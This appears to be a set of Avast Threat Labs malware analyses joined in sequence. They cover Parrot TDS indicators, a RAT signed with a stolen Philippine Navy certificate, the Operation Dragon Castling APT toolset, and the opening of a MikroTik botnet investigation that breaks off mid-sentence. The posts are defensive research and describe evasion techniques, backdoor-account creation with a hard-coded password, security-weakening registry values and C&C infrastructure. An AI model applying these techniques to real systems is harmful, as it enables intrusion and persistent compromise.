8ad9c598c1fde52dd2bfced5f953ca0d013b0c65feb5ded73585cfc420c95a95	%AppData%/Roaming/xxx/remcmdstub.exe**
4fffa055d56e48fa0c469a54e2ebd857f23eca73a9928805b6a29a9483dffc21	%AppData%/Roaming/xxx/client32.ini**

**xxx stands for the random string name

C&C

194.180.158[.]173

87.120.8[.]141

15.76.172[.]110

45.76.172[.]113

5.180.136[.]119

94.158.247[.]84

94.158.245[.]113

94.158.247[.]100

154.38.242[.]14

199.247.3[.]55

Resources

[1] Viktor Okorokov and Nikita Rostovcev. Prometheus TDS, Group IB, 5 Aug. 2021, https://blog.group-ib.com/prometheus-tds. 
[2] Jérôme Segura. FakeUpdates Campaign Leverages Multiple Website Platforms, MalwareBytes Labs, 10 Apr. 2018, https://blog.malwarebytes.com/threat-analysis/2018/04/fakeupdates-campaign-leverages-multiple-website-platforms/.
[3] NetSupport Software. https://www.netsupportsoftware.com/.

The post Parrot TDS takes over web servers and threatens millions appeared first on Avast Threat Labs.

Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy. This certificate is now expired but we see evidence it was in use with this malware in June 2020.  

Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.

We got in touch with CERT-PH, the National Computer Emergency Response Team for the Philippines to help us contact the navy. We have shared with them our findings. The navy security team later let us know that the incident has been resolved and no further assistance was necessary from our side.

Because this is being used in active attacks now, we are releasing our findings immediately so organizations can take steps to better protect themselves. We have found that this sample is now available on VirusTotal.

Compromised Expired Philippine Navy Digital Certificate

In our analysis we found the sample connects to dost[.]igov-service[.]net:8443 using TLS in a statically linked OpenSSL library.

A WHOIS lookup on the C&C domain gave us the following:

The digital certificate was pinned so that the malware requires the certificate to communicate.

When we checked the digital certificate used for the TLS channel we found the following information:

Some important things to note:

• The certificate is a valid certificate with a subject of *.navy.mil.ph, the Philippine Navy.
• The certificate has recently expired: it was valid for one year, from Sunday December 15, 2019 until Tuesday December 15, 2020.
• Our research shows that Censys saw this certificate employed by the actual navy.mil.ph website

Based on our research, we believe with a high level of confidence that the threat actor had access to the private key belonging to the certificate.

While the digital certificate is now expired we see evidence it was in use with this malware in June 2020. 

The malicious PE file was found with filename: C:\Windows\System32\wlbsctrl.dll and its hash is: 85FA43C3F84B31FBE34BF078AF5A614612D32282D7B14523610A13944AADAACB.

In analyzing that malicious PE file itself, we found that the compilation timestamp is wrong or was edited. Specifically, the TimeDateStamp of the PE file was modified and set to the year 2004 in both the PE header and Debug Directory as shown below:

However, we found that the author used OpenSSL 1.1.1g and compiled it on April 21, 2020 as shown below:

The username of the author was probably udste. This can be seen in the debug information left inside the used OpenSSL library.

We found that the malware supported the following commands:

• run shellcode
• read file
• write file
• cancel data transfer
• list drives
• rename a file
• delete a file
• list directory content

Some additional items of note regarding the malicious PE file:

• All configuration strings in the malware are encrypted using AES-CBC with the exception of the mutex it uses.That mutex is used as-is without decryption: t7As7y9I6EGwJOQkJz1oRvPUFx1CJTsjzgDlm0CxIa4=.
• When this string is decrypted using the hard-coded key it decrypts to QSR_MUTEX_zGKwWAejTD9sDitYcK. We suspect that this is a failed attempt to disguise this malware as the infamous Quasar RAT malware. But this cannot be the case because this sample is written in C++ and the Quasar RAT is written in C#.

Avast customers are protected against this malware.

Indicators of Compromise (IoC)

• Repository: https://github.com/avast/ioc/tree/master/Philippine-Navy-Certificate

SHA256	File name
85FA43C3F84B31FBE34BF078AF5A614612D32282D7B14523610A13944AADAACB	C:\Windows\System32\wlbsctrl.dll

Mutex

t7As7y9I6EGwJOQkJz1oRvPUFx1CJTsjzgDlm0CxIa4=

C&C server

dost[.]igov-service[.]net:8443

The post Avast Finds Compromised Philippine Navy Certificate Used in Remote Access Tool appeared first on Avast Threat Labs.

Introduction

We recently discovered an APT campaign we are calling Operation Dragon Castling. The campaign is targeting what appears to be betting companies in South East Asia, more specifically companies located in Taiwan, the Philippines, and Hong Kong. With moderate confidence, we can attribute the campaign to a Chinese speaking APT group, but unfortunately cannot attribute the attack to a specific group and are not sure what the attackers are after.

We found notable code similarity between one of the modules used by this APT group (the MulCom backdoor) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not sufficient for attribution as FFRat itself was never reliably attributed.

In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT group, as well as other malicious files used to gain persistence and access to the infected machines. We will also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and exploitation of a vulnerable legitimate application, WPS Office.

We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we suspect that the attackers abused.

We would like to thank Taiwan’s TeamT5 for providing us with IoCs related to the infection vector.

Infrastructure and toolset

In the diagram above, we describe the relations between the malicious files. Some of the relations might not be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin. However, we strongly believe that it is one of the malicious files used in this campaign. 

Infection Vector

We’ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an infected installer to the support team of one of the targeted companies asking to check for a bug in their software. In this post, we are going to describe another vector we’ve seen: a fake WPS Office update package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe, which is a part of the WPS Office installation package. We have contacted WPS Office team about the vulnerability (CVE-2022-24934), which we discovered, and it has since been fixed.

During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary we discovered a potential security issue that allows an attacker to use the updater to communicate with a server controlled by the attacker to perform actions on the victim’s system, including downloading and running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs to be modified, and by doing this an attacker gains persistence on the system and control over the update process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn, which is a domain belonging to Kingsoft, but the serving IP (103.140.187.16) has no relationship to the company, so we assume that it is a fake update server used by the attackers. 
The downloaded binary (setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe - B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954) drops two files for sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology (a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL QMSpeedupRocketTrayStub64.dll.

Dropper 1 (QMSpeedupRocketTrayStub64.dll)

76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491

The first stage is a backdoor communicating with a C&C (mirrors.centos.8788912[.]com). Before contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions: GetProcAddress, FreeLibrary, LdrUnloadDll. To get the C&C domain, it maps itself to the memory and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and is stored as a wide string in clear text in the binary. 

Then it initializes an object for a JScript class with the named item ScriptHelper.  The dropper uses the ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to HKEY_CURRENT_USER  of an impersonated user. For communication with C&C it constructs a UserAgent string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows version, the value of the “User Agent\Post Platform” registry values.

After that, the sample constructs JScript code to execute. The header of the code contains definitions of two variables: server with the C&C domain name and a hardcoded key. Then it sends the HTTP GET request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to the constructed header and executed using the JScript class created previously.

At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was downloading the next stage from hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to %ProgramData%\icbc_logtmp.exe and executing it.

Dropper 2 (IcbcLog)

a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3

The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session Moniker Privilege Escalation (MS17-012), then dropping a few binaries, which are stored with the following resource IDs:

Resource ID	Filename	Description
1825	smcache.dat	List of C&C domains
1832	log.dll	Loader (CoreX) 64bit
1840	bdservicehost.exe	Signed PE for sideloading 64bit
1841	N/A	Filenames for sideloading
1817	inst.dat	Working path
1816	hostcfg.dat	Used in the Host header, in C&C communication
1833	bdservicehost.exe	Signed PE for sideloading 32bit – N/A
1831	log.dll	Loader  (32bit) – N/A

The encrypted payloads have the following structure:

The encryption key is a wide string starting from offset 0x8. The encrypted data starts at the offset 0x528. To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256 algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer. To verify that the decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed to run the next stage.

Loader (CoreX)

97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42

The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper. Similarly to Dropper 1, it hooks the GetProcAddress and FreeLibrary API functions. These hooks execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe and then it retrieves encrypted data from its resources. This data is dropped into the same folder as syscfg.dat. The file is then loaded and decrypted using AES-256 with the following options for setup:

• Key is the computer name and IV is qwertyui12345678
• AES-256 setup parameters are embedded in the resource in the format <key>#<IV>. So you may e.g. see cbfc2vyuzckloknf#8o3yfn0uee429m8d

The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel service. If the ESET Kernel service is running, it will try to remap ntdll.dll. We assume that this is used to bypass ntdll.dll hooking. 

After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage. The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.

Proto8 (Core module)

f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7

The core module is a single DLL that is responsible for setting up the malware’s working directory, loading configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands.

It has a cascading structure with four steps:

Step 1

The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the previous infection stages.

The malware then creates a new window (named Sample) with a custom callback function. A message with the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to execute the main function. The callback function can also process the 0x412 message ID, even though no specific functionality is tied to it.

Step 2

In the second step, the module tries to self-update, load configuration files and set up its working directory (WD).

Self-update

The malware first looks for a file called new_version.dat – if it exists, its content is loaded into memory, executed in a new thread and a debug string “run code ok” is printed out. We did not come across this file, but based on its name and context, this is most likely a self update functionality.

Load configuration file inst.dat and set up working directory. First, the core module configuration file inst.dat is searched for in the following three locations:

• the directory where the core module DLL is located
• the directory where the EXE that loaded the core module DLL it is located
• C:\ProgramData\

It contains the path to the malware’s working directory in plaintext. If it is not found, a hard-coded directory name is used and the directory is created. The working directory is a location the malware uses to drop or read any files it uses in subsequent execution phases.

Load configuration file smcache.dat.

After the working directory is set up, the sample will load the configuration file smcache.dat from it. This file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step 4) plus a “comment” string. This string is likely used to identify the campaign or individual victims. It is used to create an empty file on the victim’s computer (see below) and it’s also sent as a part of the initial beacon when communicating with C&C servers. We refer to it as the “comment string” because we have seen a few versions of smcache.dat where the content of the string was “the comment string here” and it is also present in another configuration file with the name comment.dat which has the INI file format and contains this string under the key COMMENT.

Create a log file

Right after the sample finds and reads smcache.dat, it creates a file based on the victim’s username and the comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value (for example M86_99.lck). Based on the extension it could be a log of some sort, but we haven’t seen any part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the malware creates a mutex and goes on to the next step.

Step 3

Next, the malware collects information about the infected environment (such as username, DNS and NetBios computer names as well as OS version and architecture) and sets up its internal structures, most notably a list of “call objects”. Call objects are structures each associated with a particular function and saved into a “dispatcher” structure in a map with hard-coded 4-byte keys. These keys are later used to call the functions based on commands from C&C servers. 

The key values (IDs) seem to be structured, where the first three bytes are always the same within a given sample, while the last byte is always the same for a given usage across all the core module samples that we’ve seen. For example, the function that calls the RevertToSelf function is identified by the number 0x20210326 in some versions of the core module that we’ve seen and 0x19181726 in others. This suggests that the first three bytes of the ID number are tied to the core module version, or more likely the infrastructure version, while the last byte is the actual ID of a function. 

ID (last byte)	Function description
0x02	unimplemented function
0x19	retrieves content of smcache.dat and sends it to the C&C server
0x1A	writes data to smcache.dat
0x25	impersonates the logged on user or the explorer.exe process
0x26	function that calls RevertToSelf
0x31	receives data and copies it into a newly allocated executable buffer
0x33	receives core plugin code, drops it on disk and then loads and calls it
0x56	writes a value into comment.dat

Webdav 

While initializing the call objects the core module also tries to connect to the URL hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by calling WNetAddConnection3W. This address was not responsive at the time of analysis but jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin code or an updated version of the core module itself.

Plugins

The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the name kbg<tick_count>.dat in the malware working directory, loads it into memory and then calls its exported function InitCorePlug. The plugin file on disk is set to be deleted on reboot by calling MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT. For more information about the plugins, see the dedicated Plugins section.

Step 4

In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file and will try to reach each one. The structure of the smcache.dat config file is as follows:

The protocol string can have one of nine possible values: 

• TCP
• HTTPS
• UDP
• DNS
• ICMP
• HTTPSIPV6
• WEB
• SSH
• HTTP

Depending on the protocol tied to the particular C&C domain, the malware sets up the connection, sends a beacon to the C&C and waits for commands.

In this blogpost, we will mainly focus on the HTTP protocol option as we’ve seen it being used by the attackers.

When using the HTTP protocol, the core module first opens two persistent request handles – one for POST and one for GET requests, both to “/connect”. These handles are tested by sending an empty buffer in the POST request and checking the HTTP status code of the GET request. Following this, the malware sends the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened POST request handle and reads data from the GET request handle by calling InternetReadFile.

The core module uses the following (mostly hard-coded) HTTP headers:

• Accept: */*
• x-cid: {<uuid>} – new uuid is generated for each GET/POST request pair
• Pragma: no-cache
• Cache-control: no-transform
• User-Agent: <user_agent> – generated from registry or hard-coded (see below)
• Host: <host_value> – C&C server domain or the value from hostcfg.dat (see below)
• Connection: Keep-Alive
• Content-Length: 4294967295 (max uint, only in the POST request)

User-Agent header

The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access fails: “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)”.

Host header

When setting up this header, the malware looks for either a resource with the ID 1816 or a file called hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat. It does not change the actual C&C domain to which the request is made – this suggests the possibility of the C&C server being behind a reverse proxy.

Initial beacon

The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names and the comment string found in smcache.dat or comment.dat. The value from comment.dat takes precedence if this file exists. 

In the core module sample we analyzed, there was actually a typo in the function that reads the value from comment.dat – it looks for the key “COMMNET” instead of “COMMENT”.

After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of one of the call objects.
Each message sent to the C&C server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C servers that we’ve seen are:

ID (last byte)	Usage
0x1B	message to C&C which contains smcache.dat content
0x24	message to C&C which contains a debug string
0x2F	general message to C&C
0x30	message to C&C, unknown specific purpose
0x32	message to C&C related to plugins
0x80	initial beacon to a C&C server

Interesting observations about the protocols, other than the HTTP protocol:

• HTTPS does not use persistent request handles
• HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial beacon
• HTTPS, TCP and UDP use a custom “magic” header: Magic-Code: hhjjdfgh

General observations on the core module

The core samples we observed often output debug strings via OutputDebugStringA and OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, “run code ok” after self-update, “In googo” in the hook of GetProcAddress, “recv bomb” and “sent bomb” in the main C&C communicating function, etc.

String obfuscation

We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key. 

Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not. 

To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to WritePrivateProfileStringW. 

Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders.

Plugins

In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to extend its functionality. 

We are going to describe three plugins with various functionalities, such as:

• Achieving persistence
• Bypassing UAC
• Registering an RPC interface
• Creating a new account
• Backdoor capabilities

Core Plugin

0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755

This plugin is a DLL binary loaded by the fileless core module (Proto8) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins  export the function "GetPlugin" which the core plugin executes.

This part uses the same command ID based calling convention as the core module (see above), adding three new methods:

ID (last byte)	Function description
0x2B	send information about plugin location to the to C&C server
0x2C	remove a plugin
0x2A	load a plugin

All plugin binaries used by the core module are stored in the working directory under the name kbg<tick_count>.dat. After the Core Plugin is loaded, it first removes all plugins from the working directory – see the image below.

Zload(Atomx.dll,xps1.dll)

2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876

The DLL we call Zload is an example of a plugin loaded by the Core Plugin. It exports four functions: “GetPlugin”, “Install”, “core_zload” and ”zload”. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions zload, core_zload and the default DllMain function, as they contain the most interesting functionality.

Zload (process starter)

This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called "mec" in it. After this it renames and moves three files into it:

• the Zload plugin binary itself as <root_folder>\mec\logexts.dll,
• <root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe and
• <root_folder>\kb.ini as <root_folder>\mec\kb.ini

After the files are renamed and moved, it creates a new process by executing the binary <root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe).

core_zload (persistence setup)

This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA) process when the system boots. The code of this function is notably similar to the mimikat_ssp/AddSecurityPackage_RawRPC source code found on github.

DllMain (sideloading, setup)

The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security.

Persistence

The plugin first checks if its DLL was loaded either by the processes “lsass.exe” or “spdagent.exe”. If the DLL was loaded by “spdagent.exe”, it will adjust the token privileges of the current process.

If it was loaded by “lsass.exe”, it will retrieve the path “kb<num>.dll” from the configuration file “kb.ini” and write it under the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters AutodialDLL. This ensures persistence, as it causes the DLL “kb<num>.dll” to be loaded each time the Winsock 2 library (ws2_32.dll) is invoked.

Evasion

To avoid detection, the plugin first checks the list of running processes for “avp.exe” (Kaspersky Antivirus) or “NortonSecurity.exe” and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to “explorer.exe”.

The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}.

Backdoor user account creation

Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by:

• Allowing local accounts to have full admin rights when they are authenticating via network logon
• Enabling RDP connections to the machine without the user password
• Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges
• Enabling anonymous SID to be part of the everyone group in Windows
• Allowing “Null Session” users to list users and groups in the domain
• Allowing “Null Session” users to access shared folders
• Setting the name of the pipe that will be accessible to “Null Session” users

After this step, the plugin changes the WebClient service startup type to “Automatic”. It creates a new user with the name “DefaultAccount” and the password “Admin@1999!” which is then added to the “Administrator” and “Remote Desktop Users” groups. It also hides the new account on the logon screen.

As the last step, the plugin checks the list of running processes for process names “360tray.exe” and “360sd.exe” and executes the file "spdlogd.exe" if neither of them is found.

MecGame(kb%num%.dll)

4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD

MecGame is another example of a plugin that can be loaded by the Core Plugin. Its main purpose is similar to the previously described Zload plugin – it executes the binary “spdlogd.exe” and achieves persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}. This RPC interface represents a function that decodes and executes a base64 encoded shellcode.

The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll.

It can be installed as a service with the service name “inteloem” or can be loaded by any executable that connects to the internet via the Winsock2 library.

MulCom

ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2

This DLL is a backdoor module which exports four functions: “OperateRoutineW”, “StartRoutineW”, “StopRoutineW” and ”WorkRoutineW”; the main malicious function being “StartRoutineW”.

For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either “Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB” or "Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”. Unfortunately we didn’t come across the configuration data, so we are missing some information such as the C&C server domains this module uses.

There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers:

Command ID	Function description
1	Sends collected data from executed commands. It is used only if the authentication with a proxy is done through NTLM
2	Finds out information about the domain name, user name and security identifier of the process explorer.exe. It finds out the user name, domain name, and computer name of all Remote Desktop sessions.
3	Enumerates root disks
4	Enumerates files and finds out their creation time, last access time and last write time
5	Creates a process with a duplicated token. The token is obtained from one of the processes in the list (see Appendix).
6	Enumerates files and finds out creation time, last time access, last write time
7	Renames files
8	Deletes files
9	Creates a directory
101	Sends an error code obtained via GetLastError API function
102	Enumerates files in a specific folder and finds out their creation time, last access time and last write time
103	Uploads a file to the C&C server
104	Not implemented (reserved)
Combination of 105/106/107	Creates a directory and downloads files from the C&C server

Communication protocol

The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object.

It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols.

After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC. This data is a set with the following structure:

Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.

As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a. FormerFirstRAT).

Conclusion

We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in turn been associated with backdoors like PoisonIvy and PlugX – tools commonly used by Chinese speaking attackers.

We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed.

Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation.

Appendix

List of processes:

• 360sd.exe
• 360rp.exe
• 360Tray.exe
• 360Safe.exe
• 360rps.exe
• ZhuDongFangYu.exe
• kxetray.exe
• kxescore.exe
• KSafeTray.exe
• KSafe.exe
• audiodg.exe
• iexplore.exe
• MicrosoftEdge.exe
• MicrosoftEdgeCP.exe
• chrome.exe

Registry values changed by the Zload plugin:

Registry path in HKEY_LOCAL_MACHINE	Registry key
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System	LocalAccountTokenFilterPolicy = 1 FilterAdministratorToken = 0
SYSTEM\\CurrentControlSet\\Control\\Lsa	LimitBlankPasswordUse = 0 EveryoneIncludesAnonymous = 1 RestrictAnonymous = 0
System\\CurrentControlSet\\Services\\LanManServer\\Parameters	RestrictNullSessAccess = 0 NullSessionPipes = RpcServices

Core module working directory (WD)

Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP%):

• spptools
• NewGame
• TspSoft
• InstallAtomx

File used to test permissions: game_<tick_count>.log – the WD path is written into it and then the file is deleted.

Hard-coded security descriptor used for WD access: “D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)”. 

Lockfile name format: “<working_dir>\<victim_username>-<comment_string>.log”

Core module mutexes:

Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim’s username)

Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim’s username

Global\TencentSecuriryAgent-P01-%s (%s is the victim’s username)

Indicators of Compromise (IoC)

•  Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling
•  List of SHA-256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256

The post Operation Dragon Castling: APT group targeting betting companies appeared first on Avast Threat Labs.

This is the story of piecing together information and research leading to the discovery of one of the largest botnet-as-a-service cybercrime operations we’ve seen in a while. This research reveals that a cryptomining malware campaign we reported in 2018, Glupteba malware, significant DDoS attacks targeting several companies in Russia, including Yandex, as well as in New Zealand, and the United States, and presumably also the TrickBot malware were all distributed by the same C2 server. I strongly believe the C2 server serves as a botnet-as-a-service controlling nearly 230,000 vulnerable MikroTik routers, and may be the Meris botnet QRator Labs described in their blog post, which helped carry out the aforementioned DDoS attacks. Default credentials, several vulnerabilities, but most importantly the CVE-2018-14847 vulnerability, which was publicized in 2018, and for which MikroTik issued a fix for, allowed the cybercriminals behind this botnet to enslave all of these routers, and to presumably rent them out as a service. 

The evening of July 8, 2021

As a fan of MikroTik routers, I keep a close eye on what’s going on with these routers. I have been tracking MikroTik routers for years, reporting a crypto mining campaign abusing the routers as far back as 2018. The mayhem around MikroTik routers began in 2018 mainly thanks to vulnerability CVE-2018-14847, which allowed cybercriminals to very easily bypass authentication on the routers. Sadly, many MikroTik routers were left unpatched, leaving their default credentials exposed on the internet.

Naturally, an email from our partners, sent on July 8, 2021, regarding a TrickBot campaign landed in my inbox. They informed us that they found a couple of new C2 servers that seemed to be hosted on IoT devices, specifically MikroTik routers, sending us the IPs. This immediately caught my attention. 

MikroTik routers are pretty robust but run on a proprietary OS, so it seemed unlikely that the routers were hosting the C2 binary directly. The only logical conclusion I could come to was that the servers were using enslaved MikroTik devices to proxy traffic to the next tier of C2 servers to hide them from malware hunters.  

I instantly had deja-vu, and thought “They are misusing that vulnerability aga…”.

Opening Pandora’s box full of dark magic and evil

Knowing all this, I decided to experiment by deploying a honeypot, more precisely a vulnerable version of a MikroTik cloud router exposed to the internet. I captured all the traffic and logged everything from the virtual device. Initially, I thought, let’s give it a week to see what’s going on in the wild.

In the past, we were only dealing with already compromised devices seeing the state they had been left in, after the fact. I was hoping to observe the initial compromise as it happened in real-time. 

Exactly 15 minutes after deploying the honeypot, and it’s important to note that I intentionally changed the admin username and password to a really strong combination before activating it, I saw someone logging in to the router using the infamous CVE described above (which was later confirmed by PCAP analysis).

We’ve often seen fetch scripts from various domains hidden behind Cloudflare proxies used against compromised routers.

But either by mistake, or maybe intentionally, the first fetch that happened after the attacker got inside went to: 

bestony.club at that time was not hidden behind Cloudflare and resolved directly to an IP address (116.202.93.14), a VPS hosted by Hetzner in Germany. This first fetch served a script that tried to fetch additional scripts from the other domains.

What is the intention of this script you ask? Well, as you can see, it tries to overwrite and rename all existing scheduled scripts named U3, U4..U7 and set scheduled tasks to repeatedly import script fetched from the particular address, replacing the first stage “bestony.info” with “globalmoby.xyz”. In this case, the domain is already hidden behind CloudFlare to minimize likeness to reveal the real IP address if the C2 server is spotted.

The second stage of the script, pulled from the C2, is more concrete and meaningful:

It hardens the router by closing all management interfaces leaving only SSH, and WinBox (the initial attack vector) open and enables the SOCKS4 proxy server on port 5678.

Interestingly, all of the URLs had the same format:

http://[domainname]/poll/[GUID]

The logical assumption for this would be that the same system is serving them, if bestony.club points to a real IP, while globalmoby.xyz is hidden behind a proxy, Cloudflare probably hides the same IP. So, I did a quick test by issuing:  

